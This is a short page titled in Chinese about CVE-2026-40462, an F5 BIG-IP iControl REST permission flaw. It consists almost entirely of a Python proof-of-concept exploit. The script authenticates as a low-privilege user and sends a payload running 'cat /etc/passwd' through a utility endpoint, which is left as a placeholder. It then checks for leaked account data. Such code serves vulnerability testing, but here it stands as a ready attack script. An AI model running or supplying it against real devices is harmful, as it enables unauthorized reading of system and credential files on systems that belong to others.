CVE-2026-40462 F5 iControl REST权限错误致信息泄露

import requests import json # F5 BIG-IP iControl REST Permission Misconfiguration PoC # Target: CVE-2026-40462 def check_vulnerability(target_ip, username, password): session = requests.Session() session.verify = False # Ignore SSL warnings for internal testing # 1. Authenticate to iControl REST API auth_url = f"https://{target_ip}/mgmt/shared/authn/login" auth_payload = { "username": username, "password": password, "loginProviderName": "tmos" } try: print("[*] Attempting authentication...") response = session.post(auth_url, json=auth_payload) if response.status_code != 200: print(f"[-] Authentication failed: {response.text}") return token = response.json().get('token', {}).get('token') headers = { "X-F5-Auth-Token": token, "Content-Type": "application/json" } print("[+] Authentication successful.") # 2. Exploit Permission Misassignment on Undisclosed Command # Note: Replace 'vulnerable_command_uri' with the actual endpoint found in the advisory exploit_url = f"https://{target_ip}/mgmt/tm/util/vulnerable_command_uri" # Payload attempting to read sensitive info exploit_payload = { "command": "run", "utilCmdArgs": "-c 'cat /etc/passwd'" # Example sensitive read } print(f"[*] Sending exploit payload to {exploit_url}...") exploit_response = session.post(exploit_url, headers=headers, json=exploit_payload) # 3. Check if sensitive info is returned if exploit_response.status_code == 200 and "root:" in exploit_response.text: print("[!] VULNERABILITY CONFIRMED: Sensitive data leaked!") print("[+] Response:", exploit_response.text) else: print("[-] Vulnerability not exploited or permission denied.") print("[-] Status Code:", exploit_response.status_code) except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": target = "192.168.1.1" # Replace with target IP user = "low_priv_user" # Replace with low-priv user pwd = "password" # Replace with password check_vulnerability(target, user, pwd)